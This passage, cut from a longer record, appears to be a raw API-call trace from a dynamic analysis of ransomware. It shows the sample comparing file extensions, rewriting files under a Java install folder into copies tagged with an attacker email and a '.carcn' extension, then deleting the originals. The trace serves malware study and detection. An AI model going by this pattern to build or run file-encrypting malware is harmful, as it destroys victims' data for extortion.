liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.989] WriteFile (in: hFile=0x390, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xc00fa, lpNumberOfBytesWritten=0x377fca8, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fca8*=0xc00fa, lpOverlapped=0x0) returned 1 [0305.386] SetEndOfFile (hFile=0x390) returned 1 [0305.386] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x40000) returned 0x44648b8 [0305.654] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fc74 | out: lpNewFilePointer=0x0) returned 1 [0305.654] WriteFile (in: hFile=0x390, lpBuffer=0x44648b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x377fc80, lpOverlapped=0x0 | out: lpBuffer=0x44648b8*, lpNumberOfBytesWritten=0x377fc80*=0x40000, lpOverlapped=0x0) returned 1 [0305.656] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x2ccec0, lpNewFilePointer=0x0, dwMoveMethod=0x377fc74 | out: lpNewFilePointer=0x0) returned 1 [0305.656] WriteFile (in: hFile=0x390, lpBuffer=0x44648b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x377fc80, lpOverlapped=0x0 | out: lpBuffer=0x44648b8*, lpNumberOfBytesWritten=0x377fc80*=0x40000, lpOverlapped=0x0) returned 1 [0305.667] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x826c40, lpNewFilePointer=0x0, dwMoveMethod=0x377fc74 | out: lpNewFilePointer=0x0) returned 1 [0305.667] WriteFile (in: hFile=0x390, lpBuffer=0x44648b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x377fc80, lpOverlapped=0x0 | out: lpBuffer=0x44648b8*, lpNumberOfBytesWritten=0x377fc80*=0x40000, lpOverlapped=0x0) returned 1 [0305.671] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0305.672] CloseHandle (hObject=0x390) returned 1 [0305.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0305.673] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0305.673] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0305.673] lstrlenW (lpString=".doc") returned 4 [0305.673] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0305.673] lstrlenW (lpString=".docx") returned 5 [0305.673] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0305.673] lstrlenW (lpString=".pdf") returned 4 [0305.673] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0305.673] lstrlenW (lpString=".xls") returned 4 [0305.673] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0305.673] lstrlenW (lpString=".xlsx") returned 5 [0305.673] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0305.673] lstrlenW (lpString=".ppt") returned 4 [0305.673] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0305.673] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0305.673] lstrlenW (lpString=".zip") returned 4 [0305.673] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0305.673] lstrlenW (lpString=".rar") returned 4 [0305.673] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0305.673] lstrlenW (lpString=".bz2") returned 4 [0305.673] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0305.673] lstrlenW (lpString=".7z") returned 3 [0305.673] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0305.673] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0305.673] lstrlenW (lpString=".dbf") returned 4 [0305.674] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0305.674] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0305.674] lstrlenW (lpString=".1cd") returned 4 [0305.674] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0305.674] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0305.674] lstrlenW (lpString=".jpg") returned 4 [0305.674] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0305.674] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0305.674] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0305.674] lstrlenW (lpString=".doc") returned 4 [0305.674] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0305.674] lstrlenW (lpString=".docx") returned 5 [0305.674] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0305.674] lstrlenW (lpString=".pdf") returned 4 [0305.674] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0305.674] lstrlenW (lpString=".xls") returned 4 [0305.674] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0305.674] lstrlenW (lpString=".xlsx") returned 5 [0305.674] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0305.674] lstrlenW (lpString=".ppt") returned 4 [0305.674] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0305.674] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0305.674] lstrlenW (lpString=".zip") returned 4 [0305.674] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0305.674] lstrlenW (lpString=".rar") returned 4 [0305.674] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0305.674] lstrlenW (lpString=".bz2") returned 4 [0305.675] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0305.675] lstrlenW (lpString=".7z") returned 3 [0305.675] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0305.675] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0305.675] lstrlenW (lpString=".dbf") returned 4 [0305.675] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0305.675] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0305.675] lstrlenW (lpString=".1cd") returned 4 [0305.675] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0305.675] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0305.675] lstrlenW (lpString=".jpg") returned 4 [0305.675] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0305.675] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0305.675] lstrlenW (lpString="t2k.dll") returned 7 [0305.675] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0305.676] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=255040) returned 1 [0305.676] CloseHandle (hObject=0x390) returned 1 [0305.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll")) returned 0x20 [0305.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0305.676] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0305.676] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.676] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.676] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0305.677] GetLastError () returned 0x0 [0305.677] ReadFile (in: hFile=0x390, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x3e440, lpOverlapped=0x0) returned 1 [0306.097] WriteFile (in: hFile=0x364, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x3e450, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x3e450, lpOverlapped=0x0) returned 1 [0306.102] ReadFile (in: hFile=0x390, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0306.102] WriteFile (in: hFile=0x364, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xe2, lpOverlapped=0x0) returned 1 [0306.103] SetEndOfFile (hFile=0x364) returned 1 [0306.103] CloseHandle (hObject=0x364) returned 1 [0306.103] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.103] SetEndOfFile (hFile=0x390) returned 1 [0306.105] CloseHandle (hObject=0x390) returned 1 [0306.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0306.106] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll")) returned 1 [0306.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0306.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0306.106] lstrlenW (lpString=".doc") returned 4 [0306.106] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0306.106] lstrlenW (lpString=".docx") returned 5 [0306.106] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0306.106] lstrlenW (lpString=".pdf") returned 4 [0306.106] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0306.106] lstrlenW (lpString=".xls") returned 4 [0306.106] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0306.106] lstrlenW (lpString=".xlsx") returned 5 [0306.106] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0306.106] lstrlenW (lpString=".ppt") returned 4 [0306.106] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0306.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0306.106] lstrlenW (lpString=".zip") returned 4 [0306.107] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0306.107] lstrlenW (lpString=".rar") returned 4 [0306.107] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0306.107] lstrlenW (lpString=".bz2") returned 4 [0306.107] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0306.107] lstrlenW (lpString=".7z") returned 3 [0306.107] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0306.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0306.107] lstrlenW (lpString=".dbf") returned 4 [0306.107] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0306.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0306.107] lstrlenW (lpString=".1cd") returned 4 [0306.107] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0306.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0306.107] lstrlenW (lpString=".jpg") returned 4 [0306.107] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0306.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0306.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0306.107] lstrlenW (lpString=".doc") returned 4 [0306.107] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0306.107] lstrlenW (lpString=".docx") returned 5 [0306.107] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0306.107] lstrlenW (lpString=".pdf") returned 4 [0306.107] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0306.107] lstrlenW (lpString=".xls") returned 4 [0306.107] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0306.107] lstrlenW (lpString=".xlsx") returned 5 [0306.107] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0306.108] lstrlenW (lpString=".ppt") returned 4 [0306.108] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0306.108] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0306.108] lstrlenW (lpString=".zip") returned 4 [0306.108] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0306.108] lstrlenW (lpString=".rar") returned 4 [0306.108] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0306.108] lstrlenW (lpString=".bz2") returned 4 [0306.108] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0306.108] lstrlenW (lpString=".7z") returned 3 [0306.108] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0306.108] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0306.108] lstrlenW (lpString=".dbf") returned 4 [0306.108] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0306.108] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0306.108] lstrlenW (lpString=".1cd") returned 4 [0306.108] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0306.108] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0306.108] lstrlenW (lpString=".jpg") returned 4 [0306.108] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0306.108] lstrcmpiW (lpString1=".0_144\\COPYRIGHT", lpString2=".carcn") returned -1 [0306.108] lstrlenW (lpString="COPYRIGHT") returned 9 [0306.108] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0306.109] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=3244) returned 1 [0306.109] CloseHandle (hObject=0x390) returned 1 [0306.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright")) returned 0x20 [0306.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0306.109] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0306.109] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.110] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.110] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0306.110] GetLastError () returned 0x0 [0306.110] ReadFile (in: hFile=0x390, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0xcac, lpOverlapped=0x0) returned 1 [0306.111] WriteFile (in: hFile=0x364, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xcb0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xcb0, lpOverlapped=0x0) returned 1 [0306.112] ReadFile (in: hFile=0x390, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0306.112] WriteFile (in: hFile=0x364, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xe6, lpOverlapped=0x0) returned 1 [0306.112] SetEndOfFile (hFile=0x364) returned 1 [0306.113] CloseHandle (hObject=0x364) returned 1 [0306.113] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.113] SetEndOfFile (hFile=0x390) returned 1 [0306.114] CloseHandle (hObject=0x390) returned 1 [0306.114] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0306.114] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright")) returned 1 [0306.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0306.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0306.114] lstrlenW (lpString=".doc") returned 4 [0306.114] lstrcmpiW (lpString1=".doc", lpString2="IGHT") returned -1 [0306.114] lstrlenW (lpString=".docx") returned 5 [0306.114] lstrcmpiW (lpString1=".docx", lpString2="RIGHT") returned -1 [0306.115] lstrlenW (lpString=".pdf") returned 4 [0306.115] lstrcmpiW (lpString1=".pdf", lpString2="IGHT") returned -1 [0306.115] lstrlenW (lpString=".xls") returned 4 [0306.115] lstrcmpiW (lpString1=".xls", lpString2="IGHT") returned -1 [0306.115] lstrlenW (lpString=".xlsx") returned 5 [0306.115] lstrcmpiW (lpString1=".xlsx", lpString2="RIGHT") returned -1 [0306.115] lstrlenW (lpString=".ppt") returned 4 [0306.115] lstrcmpiW (lpString1=".ppt", lpString2="IGHT") returned -1 [0306.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0306.115] lstrlenW (lpString=".zip") returned 4 [0306.115] lstrcmpiW (lpString1=".zip", lpString2="IGHT") returned -1 [0306.115] lstrlenW (lpString=".rar") returned 4 [0306.115] lstrcmpiW (lpString1=".rar", lpString2="IGHT") returned -1 [0306.115] lstrlenW (lpString=".bz2") returned 4 [0306.115] lstrcmpiW (lpString1=".bz2", lpString2="IGHT") returned -1 [0306.115] lstrlenW (lpString=".7z") returned 3 [0306.115] lstrcmpiW (lpString1=".7z", lpString2="GHT") returned -1 [0306.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0306.115] lstrlenW (lpString=".dbf") returned 4 [0306.115] lstrcmpiW (lpString1=".dbf", lpString2="IGHT") returned -1 [0306.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0306.115] lstrlenW (lpString=".1cd") returned 4 [0306.115] lstrcmpiW (lpString1=".1cd", lpString2="IGHT") returned -1 [0306.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0306.115] lstrlenW (lpString=".jpg") returned 4 [0306.115] lstrcmpiW (lpString1=".jpg", lpString2="IGHT") returned -1 [0306.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0306.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0306.116] lstrlenW (lpString=".doc") returned 4 [0306.116] lstrcmpiW (lpString1=".doc", lpString2="IGHT") returned -1 [0306.116] lstrlenW (lpString=".docx") returned 5 [0306.116] lstrcmpiW (lpString1=".docx", lpString2="RIGHT") returned -1 [0306.116] lstrlenW (lpString=".pdf") returned 4 [0306.116] lstrcmpiW (lpString1=".pdf", lpString2="IGHT") returned -1 [0306.116] lstrlenW (lpString=".xls") returned 4 [0306.116] lstrcmpiW (lpString1=".xls", lpString2="IGHT") returned -1 [0306.116] lstrlenW (lpString=".xlsx") returned 5 [0306.116] lstrcmpiW (lpString1=".xlsx", lpString2="RIGHT") returned -1 [0306.116] lstrlenW (lpString=".ppt") returned 4 [0306.116] lstrcmpiW (lpString1=".ppt", lpString2="IGHT") returned -1 [0306.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0306.116] lstrlenW (lpString=".zip") returned 4 [0306.116] lstrcmpiW (lpString1=".zip", lpString2="IGHT") returned -1 [0306.116] lstrlenW (lpString=".rar") returned 4 [0306.116] lstrcmpiW (lpString1=".rar", lpString2="IGHT") returned -1 [0306.116] lstrlenW (lpString=".bz2") returned 4 [0306.116] lstrcmpiW (lpString1=".bz2", lpString2="IGHT") returned -1 [0306.116] lstrlenW (lpString=".7z") returned 3 [0306.116] lstrcmpiW (lpString1=".7z", lpString2="GHT") returned -1 [0306.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0306.116] lstrlenW (lpString=".dbf") returned 4 [0306.116] lstrcmpiW (lpString1=".dbf", lpString2="IGHT") returned -1 [0306.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0306.116] lstrlenW (lpString=".1cd") returned 4 [0306.116] lstrcmpiW (lpString1=".1cd", lpString2="IGHT") returned -1 [0306.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0306.116] lstrlenW (lpString=".jpg") returned 4 [0306.117] lstrcmpiW (lpString1=".jpg", lpString2="IGHT") returned -1 [0306.117] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0306.117] lstrlenW (lpString="accessibility.properties") returned 24 [0306.117] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0306.117] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=149) returned 1 [0306.117] CloseHandle (hObject=0x390) returned 1 [0306.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 0x20 [0306.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0306.118] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0306.118] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.118] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.118] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0306.119] GetLastError () returned 0x0 [0306.119] ReadFile (in: hFile=0x390, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x95, lpOverlapped=0x0) returned 1 [0306.120] WriteFile (in: hFile=0x364, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xa0, lpOverlapped=0x0) returned 1 [0306.122] ReadFile (in: hFile=0x390, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0306.122] WriteFile (in: hFile=0x364, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x104, lpOverlapped=0x0) returned 1 [0306.122] SetEndOfFile (hFile=0x364) returned 1 [0306.122] CloseHandle (hObject=0x364) returned 1 [0306.122] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.122] SetEndOfFile (hFile=0x390) returned 1 [0306.123] CloseHandle (hObject=0x390) returned 1 [0306.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0306.123] DeleteFileW 